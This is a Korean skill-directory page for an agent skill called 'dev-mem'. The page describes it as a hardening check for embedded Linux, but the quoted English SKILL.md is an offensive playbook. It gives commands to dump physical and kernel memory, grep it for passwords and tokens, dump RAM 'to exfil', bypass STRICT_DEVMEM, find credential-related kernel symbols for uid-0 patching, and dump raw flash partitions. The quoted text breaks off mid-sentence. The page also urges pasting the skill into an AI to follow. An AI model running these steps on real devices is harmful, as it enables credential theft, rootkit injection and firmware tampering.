dev-mem
하는 일
이 가이드는 임베디드 리눅스의 저수준 메모리와 플래시 인터페이스, 그리고 이를 제한하는 방법을 다룹니다. 자사 장치를 강화하는 제품 보안 팀을 위한 것입니다.
사용하는 경우
- ✓제품 팀이 일반 사용자가 원시 메모리나 플래시 장치에 접근할 수 있는지 확인하려는 경우.
- ✓장치가 검토가 필요한 메모리 접근 커널 설정을 사용하는 경우.
- ✓허가된 테스트에서 저수준 인터페이스가 잠겨 있는지 확인해야 할 때.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/dev-mem/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“임베디드 리눅스 장치에서 일반 사용자가 원시 메모리나 플래시에 접근할 수 있는지 테스트 장치로 확인해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 존재하는 장치 노드와 권한을 확인하고, 커널 메모리 접근 설정을 검토한 뒤, 잠가야 할 인터페이스를 보고합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
/dev/mem, /dev/kmem, and MTD Runtime Patching
On embedded Linux, physical memory and raw flash are often accessible as character devices. Combined with /proc/kallsyms for kernel symbol resolution, these interfaces allow runtime rootkit injection, credential extraction, and live firmware modification without touching the filesystem.
Prerequisites
- Shell access on the target (obtained via UART/SSH/telnet or post-exploitation).
- Target runs Linux (confirms with
uname -a). - Check access:
ls -la /dev/mem /dev/kmem /dev/mtd*. - Tools:
devmem2(or/dev/memvia dd),mtd_debug,flashcp,busybox devmem.
# Confirm device nodes exist
ls -la /dev/mem /dev/kmem /dev/mtd* 2>/dev/null
# Confirm kernel version and MTD subsystem
uname -a
cat /proc/mtd
Phase 1 — Physical Memory Read via /dev/mem
1a. devmem2 (most common embedded tool)
# Read 4-byte word at physical address 0x10000000
devmem2 0x10000000 w
# Read byte at address
devmem2 0x10000000 b
# Write 4-byte word (use carefully — can crash SoC peripherals)
devmem2 0x10000000 w 0xDEADBEEF
# BusyBox devmem (same syntax on BusyBox builds)
busybox devmem 0x10000000 32
1b. dd + /dev/mem
# Dump 4KB region of physical RAM starting at 0x80000000 (DRAM base on many MIPS/ARM)
dd if=/dev/mem bs=1024 skip=$((0x80000000 / 1024)) count=4 > /tmp/mem_region.bin
# Read peripheral register (e.g., GPIO base on BCM2835 = 0x3F200000)
dd if=/dev/mem bs=4 skip=$((0x3F200034 / 4)) count=1 2>/dev/null | xxd
# Search physical RAM for a string (e.g., password, key material)
strings /dev/mem 2>/dev/null | grep -iE 'password|secret|key|token' | head -20
# Dump first 32MB of DRAM to exfil
dd if=/dev/mem bs=1M count=32 of=/tmp/memdump_32m.bin
1c. Bypass CONFIG_STRICT_DEVMEM
Kernels with CONFIG_STRICT_DEVMEM=y block non-MMIO physical addresses.
# Check if restriction is active
dmesg 2>/dev/null | grep -i "devmem\|mem: Checking"
# Bypass A: MMIO regions are always permitted — map peripheral registers
# GPIO, UART, timers are MMIO and bypass STRICT_DEVMEM checks.
# Bypass B: Use /proc/kcore (virtual kernel memory, may still be available)
dd if=/proc/kcore bs=1M count=8 of=/tmp/kcore_partial.bin 2>/dev/null
# Bypass C: Kernel module injection via /dev/kmem (see Phase 2)
# Bypass D: mmap /proc/<pid>/mem of a privileged process
# (works when CAP_SYS_PTRACE is available)
cat /proc/1/maps | grep heap
dd if=/proc/1/mem bs=1 skip=$((heap_start)) count=4096 of=/tmp/init_heap.bin 2>/dev/null
Phase 2 — Kernel Memory via /dev/kmem
/dev/kmem exposes virtual kernel address space. Available on older kernels
(pre-3.7) or when compiled without CONFIG_DEVKMEM=n.
# Check kernel virtual addresses from kallsyms
# (available when CONFIG_KALLSYMS=y, common on embedded devices for crash debugging)
cat /proc/kallsyms | grep -E ' sys_call_table| commit_creds| prepare_kernel_cred'
# Example: ffffffff81801460 R sys_call_table
# Read kernel symbol value via /dev/kmem
SYM_ADDR=0xffffffff81801460
dd if=/dev/kmem bs=8 skip=$(( SYM_ADDR / 8 )) count=1 2>/dev/null | xxd
# Patch a kernel variable (e.g., set uid to 0 for current process)
# WARNING: wrong address = immediate kernel panic
# Use devmem2 with the virtual address:
devmem2 $SYM_ADDR q # quad-word read (64-bit)
2a. Extract kernel credentials from /proc/kcore
# /proc/kcore is ELF-formatted kernel memory snapshot
# Use volatility3 with a Linux profile if available:
vol -f /proc/kcore linux.bash.Bash # recover bash history from kernel
vol -f /proc/kcore linux.pslist.PsList
# Manual: search for credential structures
strings /proc/kcore 2>/dev/null | grep -E 'root|password|shadow' | head -20
Phase 3 — MTD Raw Flash Access
MTD (Memory Technology Devices) exposes raw NOR/NAND flash. On embedded Linux,
/dev/mtd* (char) and /dev/mtdblock* (block) devices are the primary paths
for read/write access to firmware partitions.
3a. Partition enumeration
# List all MTD partitions with sizes and names
cat /proc/mtd
# Example output:
# dev: size erasesize name
# mtd0: 00040000 00010000 "u-boot"
# mtd1: 00010000 00010000 "u-boot-env"
# mtd2: 00200000 00010000 "kernel"
# mtd3: 00600000 00010000 "rootfs"
# mtd4: 00200000 00010000 "storage"
3b. Dump MTD partition
# Method A: dd from block device
dd if=/dev/mtdblock3 of=/tmp/rootfs.bin bs=512
# Method B: mtd_debug read (preferred — han
자주 묻는 질문
/dev/mem이란 무엇인가요?
일부 리눅스 시스템에서 물리 메모리에 직접 접근하게 해 주는 장치 파일입니다.
확인해야 할 보호 설정은 무엇인가요?
가이드는 커널의 엄격한 장치 메모리(strict device memory) 설정을 언급합니다.
플래시 접근이 왜 문제인가요?
원시 플래시 쓰기는 일반 업데이트 검사를 거치지 않고 펌웨어를 바꿀 수 있습니다.
상세 정보
작성자의 원본 설명
Runtime memory access and manipulation on embedded Linux via /dev/mem, /dev/kmem, and MTD devices. Covers physical memory reads/writes, kernel symbol resolution via /proc/kallsyms, live firmware patching with mtd_debug and flashcp, and bypassing memory-access restrictions (CONFIG_STRICT_DEVMEM, kernel.perf_event_paranoid).
인기도
- GitHub 스타
- 6.5k
- 순위
- #14097
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.